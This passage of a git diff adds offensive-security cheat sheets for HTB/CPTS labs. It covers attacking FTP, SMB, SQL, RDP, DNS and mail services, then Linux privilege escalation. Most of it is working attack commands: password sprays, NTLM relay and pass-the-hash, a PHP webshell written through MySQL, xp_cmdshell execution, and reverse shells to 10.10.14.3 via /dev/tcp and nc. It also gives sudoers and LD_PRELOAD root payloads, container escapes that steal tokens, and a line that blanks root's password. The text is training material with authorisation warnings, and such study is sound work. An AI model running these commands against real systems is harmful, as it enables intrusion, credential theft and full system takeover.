input; most vulns live here. +> - **Privileges** — the context it runs as (SYSTEM/root, service account, app role) = blast radius. +> - **Destination** — local (file/local service) or network (another host). The cycle is linear; a full chain is usually an *initiation* cycle (leak/foothold) plus a *trigger* cycle (→ RCE). + +> [!tip]+ Misconfiguration checklist (offensive = defensive, OWASP A05:2021) +> +> 1. **Default credentials** — `admin:admin`, `admin:password`, `root:12345678`, `administrator:Password`, blanks. +> 2. **Anonymous authentication** — FTP, SMB, occasionally SQL. +> 3. **Misconfigured access rights** — over-privileged service/user accounts. +> 4. **Unnecessary defaults** — sample files, admin/debug interfaces, verbose errors. +> Order: banner-grab → default creds → weak combos → full brute force. Audit tools: CIS-CAT, Lynis, testssl.sh. + +> [!info]+ Finding sensitive information — reuse everything +> The module's worked chain: anonymous FTP exposes an empty file named `johnsmith` → try `johnsmith:johnsmith` on FTP (fails) → **same creds on the mail service (succeeds)** → grep the mailbox for the literal string `password` → recover MSSQL creds → `xp_cmdshell` → RCE. Lesson: a *filename* is a candidate username/password. Try anonymous access broadly first (cheap, non-destructive), then reuse any string found against every other service before brute-forcing. + +--- + +## Evidence-first service triage + +Keep discovery, authentication, and exploitation separate. This makes the evidence easier to review and prevents a successful credential from being lost in noisy scan output. + +| Pass | Question | Capture | +|---|---|---| +| 1 · Identify | What protocol, product, version, and TLS identity answered? | Port, banner, certificate names, scan command | +| 2 · Enumerate | What is exposed without credentials? | Shares, databases, users, capabilities, screenshots | +| 3 · Authenticate | Which scoped credential works, and where? | Account, realm, service, time; keep the secret outside the note | +| 4 · Validate | What is the least-invasive proof of impact? | Read-only query/listing first; exact output and artifact hash | +| 5 · Feed forward | Does the result reveal another host, user, or credential? | Add it to the target/credential matrix and retest deliberately | + +```bash +# One evidence directory per host; tee only non-secret output +EVIDENCE="evidence/${IP}" +mkdir -p "$EVIDENCE" +sudo nmap -Pn -sV -sC -oA "$EVIDENCE/services" "$IP" +``` + +> [!warning]+ Credential handling +> Avoid passwords in command history and process lists. Prefer tool-supported prompts, protected credential files (`chmod 600`), or environment-specific secret storage; redact exported notes before sharing. + +--- + +## Interacting with services — quick reference + +```batch +:: SMB from Windows CMD +dir \\192.168.220.129\Finance\ +net use n: \\192.168.220.129\Finance /user:plaintext Password123 +:: Count files, then search names and contents. +dir n: /a-d /s /b | find /c ":\" +dir n:\*cred* /s /b +findstr /s /i cred n:\*.* +``` + +```powershell +# SMB from PowerShell (with creds) +$password = ConvertTo-SecureString 'Password123' -AsPlainText -Force +$cred = New-Object System.Management.Automation.PSCredential('plaintext', $password) +New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred +Get-ChildItem -Recurse -Path N:\ -Include *cred* -File +Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List +``` + +```bash +# SMB mount from Linux — prepare /tmp/smb.creds in an editor, then protect it +# File format: username=plaintext, password=<secret>, domain=. +chmod 600 /tmp/smb.creds +sudo mount -t cifs -o credentials=/tmp/smb.creds //192.168.220.129/Finance /mnt/Finance +find /mnt/Finance/ -iname '*cred*' +grep -rn /mnt/Finance/ -ie cred + +# SQL clients +sqsh -S $IP -U username -P Password123 # MSSQL, plaintext auth only +mysql -u username -pPassword123 -h $IP # MySQL +impacket-mssqlclient -port 1433 username@$IP # impacket → NTLM-hash / Kerberos auth +``` + +> [!note]+ Tooling notes +> Prefer `enum4linux-ng` over the legacy Perl `enum4linux`. Use current **NetExec** syntax (`nxc`) when older material says CrackMapExec. Use `impacket-mssqlclient` rather than `sqsh` when you only have an NTLM hash or need Kerberos. + +--- + +## FTP — TCP/21 + +```bash +# Enumerate (-sC runs ftp-anon; NSE flags a writable dir = webshell drop candidate) +sudo nmap -sC -sV -p21 $IP + +# Anonymous login +ftp $IP # Name: anonymous Password: <blank/arbitrary> +# ls / cd navigate · get/mget download · put/mput upload + +# Brute-force +medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp +hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$IP + +# FTP Bounce — use the FTP server as a scan proxy to reach an internal host +nmap -Pn -v -n -p80 -b anonymous:password@172.17.0.2 172.17.0.2 +``` + +> [!bug]+ CVE-2022-22836 · CoreFTP arbitrary file write (dir traversal) +> The HTTP `PUT` handler doesn't normalise `../`; `--path-as-is` sends the raw traversal; Basic Auth required. +> ```bash +> curl -k -X PUT -H "Host: <IP>" --basic -u <user>:<pass> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops +> ``` +> General CVE lookup: `searchsploit <product> <version>` · `nuclei -t cves/ -u ftp://$IP` + +--- + +## SMB — TCP/445 (139 NetBIOS) + +```bash +# Enumerate — note smb2-security-mode: "signing not required" = NTLM-relay prereq +sudo nmap $IP -sV -sC -p139,445 + +# Null-session share enum (-N null auth) +smbclient -N -L //$IP +smbmap -H $IP +smbmap -H $IP -r notes +smbmap -H $IP --download "notes\note.txt" +smbmap -H $IP --upload test.txt "notes\test.txt" + +# RPC enum (% = null user+pass) and full enum +rpcclient -U'%' $IP # then: enumdomusers +./enum4linux-ng.py $IP -A -C +``` + +```bash +# Password spray (--local-auth = non-domain/local accounts; add --continue-on-success) +nxc smb $IP -u /tmp/userlist.txt -p 'Company01!' --local-auth +# output "(Pwn3d!)" = local admin on that host + +# Remote code execution +impacket-psexec administrator:'Password123!'@$IP # ADMIN$ + Service Control Manager +nxc smb $IP -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec +# impacket-smbexec = no writable share · impacket-atexec = Task Scheduler · nxc -x CMD / -X PowerShell + +# Loot: logged-on users + local SAM hashes +nxc smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users +nxc smb $IP -u administrator -p 'Password123!' --sam # + impacket-secretsdump for LSA/NTDS + +# Pass-the-Hash (-H NTLM) +nxc smb $IP -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE +``` + +> [!tip]+ Forced auth (Responder) → crack or relay +> ```bash +> sudo responder -I tun0 # capture NetNTLMv2 +> hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # crack (5600 = NetNTLMv2) +> # Relay instead: first set SMB = Off in /etc/responder/Responder.conf, then: +> impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146 +> # add -c '<b64 PowerShell revshell>' to execute instead of the default SAM dump +> ``` +> **CVE-2020-0796 (SMBGhost)** — SMBv3.1.1 compression integer overflow, Win10 1903/1909; conceptual in-module, Metasploit for labs. + +--- + +## SQL Databases — MSSQL 1433 · MySQL 3306 + +```bash +nmap -Pn -sV -sC -p1433,3306 $IP + +mysql -u julio -pPassword123 -h $IP +sqsh -S $IP -U .\\julio -P 'MyPassword!' -h # .\ prefix forces a LOCAL SQL account; -h no headers +impacket-mssqlclient -port 1433 julio@$IP # impacket +``` + +```sql +-- Enumerate (MSSQL, GO terminates each batch) +SELECT name FROM master.dbo.sysdatabases +GO +-- Enumerate (MySQL) +SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users; +``` + +**MSSQL → RCE with `xp_cmdshell`:** +```sql +xp_cmdshell 'whoami' +GO +-- if disabled (needs sysadmin): +EXECUTE sp_configure 'show advanced options', 1 +RECONFIGURE +EXECUTE sp_configure 'xp_cmdshell', 1 +RECONFIGURE +GO +``` + +**MySQL file read/write** (needs `FILE` priv + empty `secure_file_priv`): +```sql +SHOW VARIABLES LIKE "secure_file_priv"; +SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'; +SELECT LOAD_FILE("/etc/passwd"); +``` + +**MSSQL file read** (service-account perms, no special config): +```sql +SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents +GO +``` + +**MSSQL privesc — `IMPERSONATE`:** +```sql +EXECUTE AS LOGIN = 'sa' +SELECT SYSTEM_USER +SELECT IS_SRVROLEMEMBER('sysadmin') +GO -- run from master; REVERT to switch back +``` + +**MSSQL linked-server pivot:** +```sql +SELECT srvname, isremote FROM sysservers +GO +EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS] +GO -- double single-quotes escape; chain with ; +``` + +> [!tip]+ Steal NetNTLMv2 with `xp_dirtree` +> ```bash +> sudo impacket-smbserver share ./ -smb2support # or: sudo responder -I tun0 +> ``` +> ```sql +> EXEC master..xp_dirtree '\\10.10.110.17\share\' +> GO -- xp_subdirs may say access-denied yet still capture the hash +> ``` +> Legacy: **CVE-2012-2122** — MySQL 5.6.x timing auth bypass (unpatched-only). + +--- + +## RDP — TCP/3389 + +```bash +nmap -Pn -p3389 $IP # ms-wbt-server + +# Password spray (hydra rdp module is experimental → -t 1..4, -W 1..3) +crowbar -b rdp -s $IP/32 -U users.txt -c 'password123' +hydra -L usernames.txt -p 'password123' $IP rdp + +# Login +rdesktop -u admin -p password123 $IP +xfreerdp /v:$IP /u:<user> /p:<password> +``` + +```batch +:: Session hijack — needs SYSTEM (service runs as Local System). Does NOT work on Server 2019+. +query user +sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13" +net start sessionhijack +``` + +```batch +:: Pass-the-Hash via Restricted Admin Mode (enable it first — needs prior local admin) +reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f +``` +```bash +xfreerdp /v:$IP /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9 +``` + +> [!warning]+ CVE-2019-0708 (BlueKeep) +> Unauthenticated use-after-free in the RDP virtual-channel exchange → RCE as LocalSystem. **Can BSOD the target — client sign-off required.** Metasploit: `rdp_scanner` to check, `cve_2019_0708_bluekeep_rce` to exploit. + +--- + +## DNS — UDP/53 (TCP/53 for zone transfers) + +```bash +nmap -p53 -Pn -sV -sC $IP + +# Zone transfer (AXFR) — leaks the entire internal namespace if misconfigured +dig AXFR @ns1.inlanefreight.htb inlanefreight.htb +fierce --domain zonetransfer.me + +# Subdomain enumeration (passive first, then brute) → subdomain takeover +./subfinder -d inlanefreight.com -v +host support.inlanefreight.com +# CNAME → inlanefreight.s3.amazonaws.com; "NoSuchBucket" = dangling CNAME +# → register the S3 bucket "inlanefreight" to take over the subdomain +# scale check: nuclei -t subdomain-takeover ; repo: can-i-take-over-xyz +``` + +> [!info]+ Local DNS spoofing (Ettercap/Bettercap — requires L2 MITM) +> Edit `/etc/ettercap/etter.dns` → `inlanefreight.com A 192.168.225.110` (and `*.inlanefreight.com`), ARP-spoof victim↔gateway, enable the `dns_spoof` plugin. Bettercap is the modern successor. + +--- + +## Email Services — SMTP 25 · POP3 110 · IMAP 143 (+ TLS 465/587/993/995) + +```bash +# MX + provider recon (O365 = *.mail.protection.outlook.com, G-Suite = aspmx.l.google.com) +host -t MX hackthebox.eu +dig mx inlanefreight.com | grep "MX" | grep -v ";" +sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 $IP +``` + +**Manual user enumeration (telnet):** +```text +# SMTP (port 25) # POP3 (port 110) +VRFY root → 252 valid / 550 invalid USER john → +OK valid / -ERR invalid +EXPN john → expands distribution lists +MAIL FROM:john@inlanefreight.htb +RCPT TO:john → 250 valid / 550 unknown +``` + +```bash +# Automated SMTP enum +smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t $IP +# -M VRFY|EXPN|RCPT (also: msf auxiliary/scanner/smtp/smtp_enum) + +# Office 365 — Hydra is throttled by MS; use o365spray / MailSniper +python3 o365spray.py --validate --domain msplaintext.xyz +python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz +python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz + +# Self-hosted spray (swap pop3 for smtp / imap; -f stop on first hit) +hydra -L users.txt -p 'Company01!' -f $IP pop3 + +# Open relay → phishing +nmap -p25 -Pn --script smtp-open-relay $IP +swaks --from admin@company.com --to john@company.com --header 'Subject: Company Notification' --body 'http://mycustomphishinglink/' --server $IP +``` + +> [!bug]+ CVE-2020-7247 · OpenSMTPD unauthenticated RCE +> A `;` in the sender-address field breaks parsing → command execution **as root** (mail daemon on a standardised port runs as root). PoC is a ≤64-char shell command in the sender field (Exploit-DB). + +--- + +## CVE quick index + +| CVE / Name | Service | Nature | Exploit | +|---|---|---|---| +| CVE-2021-44228 (Log4j) | any (concept) | JNDI header injection → RCE | model only | +| CVE-2022-22836 (CoreFTP) | FTP | HTTP PUT dir-traversal file write | `curl` one-liner above | +| CVE-2020-0796 (SMBGhost) | SMB | SMBv3.1.1 compression overflow | Metasploit (lab) | +| CVE-2012-2122 | MySQL 5.6.x | timing auth bypass | version-gated | +| CVE-2019-0708 (BlueKeep) | RDP | unauth UAF → RCE (BSOD risk) | `...bluekeep_rce` | +| CVE-2020-7247 (OpenSMTPD) | SMTP | sender `;` → root RCE | Exploit-DB PoC | + +## Port reference + +| Service | Port(s) | +|---|---| +| FTP | 21 | +| SMB | 445, 139 (UDP 137-138) | +| MSSQL | 1433 (UDP 1434, hidden 2433) | +| MySQL | 3306 | +| RDP | 3389 | +| DNS | 53 (TCP for AXFR) | +| Email | 25 · 110 · 143 · 465 · 587 · 993 · 995 | + +--- + +## Lessons Learned + +1. **Misconfig before CVE.** Anonymous auth, default creds, and over-privileged accounts land more services than any memory-corruption bug — walk the four-category checklist first. +2. **Reuse every string.** A filename, a username in a share, a password in a mailbox — try it against *every* other service before you brute-force. That's the module's whole worked chain. +3. **Spray, don't brute, on AD.** One password across all users with lockout awareness; a full wordlist per account locks out the domain and burns the engagement. +4. **SQL is a file-system and a network pivot**, not just data — `xp_cmdshell`, `INTO OUTFILE`, `OPENROWSET`, `xp_dirtree` hash steal, and linked-server hops all start from a DB login. +5. **Some exploits break things.** BlueKeep BSODs, relays and sprays touch availability — least-invasive-first, and get explicit sign-off for the loud ones. + +## References + +1. [HTB Academy — Attacking Common Services](https://academy.hackthebox.com/module/details/116) +2. [Impacket](https://github.com/fortra/impacket) · [NetExec](https://github.com/Pennyw0rth/NetExec) +3. [NetExec Wiki — selecting and using protocols](https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol) +4. [OWASP A05:2021 — Security Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/) +5. [can-i-take-over-xyz — subdomain takeover matrix](https://github.com/EdOverflow/can-i-take-over-xyz) diff --git a/src/content/sheets/pentest-workflow/linux-privesc-cpts.md b/src/content/sheets/pentest-workflow/linux-privesc-cpts.md @@ -0,0 +1,474 @@ +--- +title: "Linux Privilege Escalation (CPTS)" +description: "CPTS-focused Linux privilege escalation: enumeration, cron/PATH/wildcard abuse, SUID and capabilities, GTFOBins and container escapes." +category: pentest-workflow +tags: ["privilege-escalation", "linux"] +tools: ["Gitleaks", "TruffleHog"] +difficulty: advanced +updated: "2026-08-28" +source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/03 - Linux Privilege Escalation - CPTS Cheat Sheet.md" +--- +# Linux Privilege Escalation — CPTS Cheat Sheet + +## Summary + +From a low-privilege shell to `root`. The loop is always the same: **enumerate broadly → identify the one vector → exploit it precisely.** Prefer the least-invasive path (SUID/capability/sudo misconfig) over a kernel exploit, which can panic the box. This card walks the module's vectors: initial situational awareness, cron/scheduled-task abuse, credential hunting, restricted-shell escape + env-var abuse, sudo & privileged-group abuse, Docker/Kubernetes escapes, kernel/SUID/SGID/capabilities, and the "remaining" library-hijack/NFS/tmux/logrotate vectors. + +> [!danger]+ HTB-Only Boundary +> +> 1. Authorized labs/engagements only. **Kernel exploits (esp. CVE-2022-25636) can corrupt the kernel / force a reboot** — get sign-off; prefer SUID/cap/sudo paths. +> 2. When weaponising a script a root job runs, **append, never overwrite, and keep a backup** so the legitimate task still completes. +> 3. Clean up droppers (`/tmp/sh`, fake `.so`/`.py`, rogue SUID binaries) — they're live local backdoors. + +> [!tip]+ Live command libraries +> - **[GTFOBins](https://gtfobins.org/)** — search a Linux/Unix binary, then select the function that matches the real context: `sudo`, SUID, capabilities, shell, file read/write or another permitted primitive. +> - **[WADComs](https://wadcoms.github.io/)** — command-focused Windows and Active Directory companion for later lateral-movement or cross-platform work. +> - **[LOLBAS](https://lolbas-project.github.io/)** — Windows-native binary, script and library companion. +> +> A listed binary is not automatically exploitable. Match the page's required permissions and invocation to `sudo -l`, SUID/capability state, file ACLs and installed version. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + A["whoami / id / sudo -l\nuname -a"] --> B["Run LinPEAS / lse.sh\n+ pspy for timing"] + B --> C{"Vector?"} + C --> D["sudo/GTFOBins · groups\n(lxd/docker/disk)"] + C --> E["cron / writable script\n/ PATH / wildcard"] + C --> F["SUID-SGID / capability\n/ SO hijack"] + C --> G["kernel CVE (last resort)"] + D --> H["root"] + E --> H + F --> H + G --> H +``` + +--- + +## 1 · Initial enumeration + +```bash +# First five on any new shell +whoami; id; hostname; ip a; sudo -l + +# OS / kernel (feed to exploit-suggester) +cat /etc/os-release; uname -a; cat /proc/version +cat /etc/lsb-release; lscpu; cat /etc/shells + +# PATH / env / mounts / net +echo $PATH; env +lsblk; cat /etc/fstab; route; cat /etc/hosts; arp -a + +# Users, groups, readable hashes +cat /etc/passwd; grep "sh$" /etc/passwd +cat /etc/group; getent group sudo +cat /etc/passwd | head -n1 # a real hash here (not 'x') = crack it now + +# Homes, hidden files, temp, processes, history +ls -la /home/*/ +find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <user> +ls -l /tmp /var/tmp /dev/shm +ps aux | grep root; w; lastlog; history +``` + +> [!info]+ Hash prefixes & GTFOBins candidate list +> `$1$`=MD5 · `$5$`=SHA-256 · `$6$`=SHA-512 · `$2a$`=BCrypt · `$argon2i$`=Argon2. +> ```bash +> find /usr/bin /usr/sbin /bin /sbin /usr/local/bin \ +> -maxdepth 1 -type f -executable -printf '%f\n' 2>/dev/null \ +> | sort -u | tee installed-binaries.txt +> ``` +> Search interesting names at [GTFOBins](https://gtfobins.org/), especially anything present in `sudo -l`, SUID/SGID results or `getcap -r /`. Scraping the website into a loop is brittle and loses the function-specific prerequisites shown on each entry. + +> [!tip]+ Automated enumeration +> +> **LinPEAS** (run first — kernel vs exploit-DB, SUID/SGID vs GTFOBins, caps, world-writable Python/lib paths, `RUNPATH`, `no_root_squash`, creds) · **linux-smart-enumeration** (`./lse.sh -l1`, second opinion) · **pspy / pspy64** (root cron/timing without root) · **linux-exploit-suggester** (feeds `uname -r`) · **Lynis** (`./lynis audit system`). Note active controls: AppArmor, SELinux, Fail2ban, ufw. + +--- + +## 2 · Cron & scheduled-task abuse + +```bash +# Enumerate +ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.d/ +crontab -l +find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null # world-writable files + +# Confirm a root job live (UID=0 in output) +./pspy64 -pf -i 1000 +``` + +**PATH abuse** — hijack an unqualified command a root cron calls: +```bash +echo $PATH +PATH=.:${PATH}; export PATH +echo 'echo "PATH ABUSE!!"' > ls && chmod +x ls +``` + +**tar wildcard injection** (cron does `tar -zcf backup.tar.gz *` in a writable dir): +```bash +echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh +echo "" > "--checkpoint-action=exec=sh root.sh" +echo "" > --checkpoint=1 +# after the job fires: +sudo -l && sudo su # (root) NOPASSWD: ALL +``` + +**Writable backup script → reverse shell** (append, keep a backup): +```bash +echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /dmz-backups/backup.sh +nc -lnvp 443 +``` + +### systemd services and timers + +Cron is not the only root scheduler. A timer activates a service, and the useful write may be in the unit, an `EnvironmentFile=`, the `ExecStart=` script, or a parent directory. + +```bash +# Find the trigger, then resolve the service it activates. +systemctl list-timers --all +systemctl list-unit-files --type=timer --type=service +systemctl cat <name>.timer +systemctl cat <name>.service +``` + +```bash +# Pull the fields that decide whether the path is exploitable. +systemctl show <name>.service \ + -p User \ + -p Group \ + -p ExecStart \ + -p EnvironmentFiles \ + -p FragmentPath +``` + +```bash +# Check unit search paths and every component of the executed path. +systemd-path systemd-system-unit +find /etc/systemd/system /usr/local/lib/systemd/system \ + -type f -writable -ls 2>/dev/null +namei -l /path/from/ExecStart +``` + +> [!tip] Exploit condition +> You need a privileged unit plus a file or directory you can modify, or a permitted `sudo systemctl start/restart` action. Back up the file, preserve its legitimate behavior, record the original hash, and restore it after proving execution. + +--- + +## 3 · Credential & config hunting + +### Application configurations + +```bash +# Start with likely app roots instead of searching the whole filesystem. +find /var/www /opt /srv /home -type f \ + \( -name 'wp-config.php' -o -name '.env' -o -name 'configuration.php' \ + -o -name 'settings.php' -o -name 'web.config' \) \ + -readable -print 2>/dev/null +``` + +```bash +# Search only readable config-like files in high-value roots. +find /etc /opt /srv /var/www /home -type f \ + \( -name '*.conf' -o -name '*.config' -o -name '*.ini' \ + -o -name '*.yml' -o -name '*.yaml' -o -name '.env' \) \ + -readable -print0 2>/dev/null | + xargs -0 grep -nIiE 'pass(word)?|secret|token|api[_-]?key|connection' 2>/dev/null +``` + +### SSH and shell history + +```bash +# SSH material and lateral targets. +ls -la ~/.ssh +sed -n '1,120p' ~/.ssh/config ~/.ssh/known_hosts 2>/dev/null +``` + +```bash +# Current history, then common database/shell history files. +history +find /home /root -type f \ + \( -name '.*history' -o -name '*_history' -o -name '*_hist' \) \ + -readable -ls 2>/dev/null +``` + +Deeper secret mining across `.git`: **trufflehog**, **gitleaks**. + +### Process environments and open descriptors + +Long-running services sometimes receive secrets through environment variables or keep deleted configuration files open. Access to another process’s `/proc/<pid>` data is permission-controlled, so only inspect entries the current identity may read. + +```bash +ps eww -u "$USER" +find /proc/[0-9]*/environ -readable -type f 2>/dev/null +``` + +```bash +for env_file in /proc/[0-9]*/environ; do + [ -r "$env_file" ] || continue + strings "$env_file" +done | + grep -Ei 'pass(word)?|secret|token|api[_-]?key|database_url|aws_' +``` + +```bash +# Deleted-but-open files and interesting descriptors. +lsof -nP 2>/dev/null | grep -i deleted +find /proc/[0-9]*/fd -lname '*deleted*' -ls 2>/dev/null +``` + +--- + +## 4 · Restricted shell escape & env-var abuse + +Restricted shells: `rbash`/`rksh`/`rzsh`. Escape via injection, substitution, chaining (`;`/`|`), env-var modification, functions. +```bash +ls -l `pwd` # command substitution +sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh # GTFOBins escape +``` + +> [!bug]+ LD_PRELOAD (sudo `env_keep+=LD_PRELOAD`) +> `sudo -l` shows `env_keep+=LD_PRELOAD`. `root.c`: +> ```c +> #include <stdio.h> +> #include <sys/types.h> +> #include <stdlib.h> +> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } +> ``` +> ```bash +> gcc -fPIC -shared -o root.so root.c -nostartfiles +> sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart +> ``` +> Works even against absolute-path sudoers entries. + +--- + +## 5 · Sudo rights & privileged-group abuse + +```bash +sudo -l # what can I run as another user? +sudo -V | head -n1 # exact version for CVE matching +aa-status # check AppArmor before the tcpdump path +id # note groups: sudo / lxd / docker / disk / adm +``` + +**[GTFOBins](https://gtfobins.org/)** — for any binary in `sudo -l`, check the matching `sudo`, SUID, capability, shell or file-access function (e.g. `sudo find / -exec /bin/sh \; -quit`, `sudo vim -c ':!/bin/sh'`, `sudo less` → `!/bin/sh`, `awk 'BEGIN {system("/bin/sh")}'`). + +**tcpdump `-z postrotate`:** +```bash +# /tmp/.test: +rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f +sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root +nc -lnvp 443 # "Permission denied" in output is misleading — payload still ran +``` + +**Sudo CVEs:** +```bash +# CVE-2021-3156 (Baron Samedit) — no sudoers entry needed; target index must match /etc/lsb-release +git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156 && make +./sudo-hax-me-a-sandwich # then ./sudo-hax-me-a-sandwich <index> + +# CVE-2019-14287 (UID -1 bypass) — needs one permitted command, sudo < 1.8.28 +sudo -u#-1 id + +# CVE-2021-4034 (PwnKit / pkexec) — no sudoers/group needed +git clone https://github.com/arthepsy/CVE-2021-4034.git && cd CVE-2021-4034 +gcc cve-2021-4034-poc.c -o poc && ./poc +``` + +**LXD/LXC group** (full escape): +```bash +lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine +lxc init alpine r00t -c security.privileged=true +lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true +lxc start r00t && lxc exec r00t /bin/sh +# inside: /mnt/root/root = host /root (shadow, ssh keys) +``` +**disk** group → `debugfs /dev/sda1` reads/writes the whole FS as root. **adm** → read all `/var/log`. + +--- + +## 6 · Docker escape + +```bash +# Bind-mounted host dir inside the container (e.g. /hostsystem) +cat /hostsystem/root/.ssh/id_rsa + +# Docker socket reachable from the container +/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app +/tmp/docker -H unix:///app/docker.sock exec -it <id> /bin/bash + +# 'docker' group on the host = root +docker run -v /root:/mnt -it ubuntu # or mount /etc for /etc/shadow + +# Writable /var/run/docker.sock (no group) — fastest host shell +docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash +``` +Enum/escape helper: **deepce**. + +--- + +## 7 · Kubernetes escape + +Ports: etcd 2379/2380 · API server 6443 · Kubelet API 10250 · read-only Kubelet 10255. +```bash +curl https://$IP:6443 -k # system:anonymous 403 = expected +curl https://$IP:10250/pods -k | jq . # Kubelet often allows anon + +# kubeletctl — enumerate, find RCE, exec +kubeletctl -i --server $IP pods +kubeletctl -i --server $IP scan rce +kubeletctl -i --server $IP exec "id" -p nginx -c nginx + +# Steal the service-account token + CA +kubeletctl -i --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee k8.token +kubeletctl --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee ca.crt + +# What can this token do? then deploy a host-mounting pod +export token=$(cat k8.token) +kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 auth can-i --list +kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 apply -f privesc.yaml +``` +`privesc.yaml` red flags to weaponise: `hostPath: path: /` + `hostNetwork: true`; then read `/root/root/.ssh/id_rsa` from the mounted host. Recon: **kube-hunter**; compliance: **kube-bench**. + +--- + +## 8 · Kernel exploits, SUID/SGID & capabilities + +```bash +# Generic workflow — compile ON the target +uname -a; cat /etc/lsb-release +gcc kernel_exploit.c -o kernel_exploit && ./kernel_exploit + +# Dirty Pipe — CVE-2022-0847 (kernels 5.8–5.17) +git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git +cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh +./exploit-1 # rewrites /etc/passwd, pops root +./exploit-2 /usr/bin/sudo # hijacks a SUID binary → /tmp/sh (clean this up) +``` + +| Netfilter CVE | Kernels | Note | +|---|---|---| +| CVE-2021-22555 | 2.6–5.11 | heap OOB via setsockopt | +| CVE-2022-25636 | 5.4–5.6.10 | may corrupt kernel / reboot | +| CVE-2023-32233 | ≤6.3.1 | UAF in `nf_tables` anon sets | + +```bash +# SUID / SGID discovery +find / -perm -4000 2>/dev/null +find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SUID +find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null # SGID + +# Capabilities enumeration + cap_dac_override via vim +find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; +echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd # blanks root's password +``` +Caps that lead to root: `cap_setuid`, `cap_setgid`, `cap_sys_admin`, `cap_dac_override`. Also: **screen 4.5.0** SUID → writes `/etc/ld.so.preload` → `/tmp/rootshell`. + +--- + +## 9 · Remaining vectors + +**Shared-object hijack (RUNPATH):** +```bash +ldd payroll; readelf -d payroll | grep PATH # RUNPATH: [/development] (world-writable = vuln) +``` +```c +// src.c — reimplement the exact undefined symbol the binary calls (e.g. dbquery) +#include<stdio.h> +#include<stdlib.h> +#include<unistd.h> +void dbquery() { printf("Malicious library loaded\n"); setuid(0); system("/bin/sh -p"); } +``` +```bash +gcc src.c -fPIC -shared -o /development/libshared.so && ./payroll +``` + +**Python library hijacking** (three flavours): +```bash +# (a) writable module file — inject os.system('id') into the real function +ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # world-writable? +sudo /usr/bin/python3 ./mem_status.py + +# (b) path priority — drop a fake module in a higher-priority world-writable dir +python3 -c 'import sys; print("\n".join(sys.path))' +# fake psutil.py: def virtual_memory(): os.system('id') + +# (c) sudo SETENV → PYTHONPATH +sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py +``` + +**Writable account and policy files** — a direct path that automated scripts can bury in noise: + +§§§bash +ls -l /etc/passwd /etc/shadow /etc/group /etc/sudoers +for account_file in /etc/passwd /etc/shadow /etc/group /etc/sudoers; do + [ -w "$account_file" ] && printf 'WRITABLE %s\n' "$account_file" +done +§§§ + +> [!warning] Preserve authentication state +> A writable account database proves a critical control failure. If exploitation is required, take a timestamped backup and use a reversible test account or authorized sudoers drop-in—never blank or replace the real root credential. + +**NFS `no_root_squash`** (from an attacker box with real root): +```bash 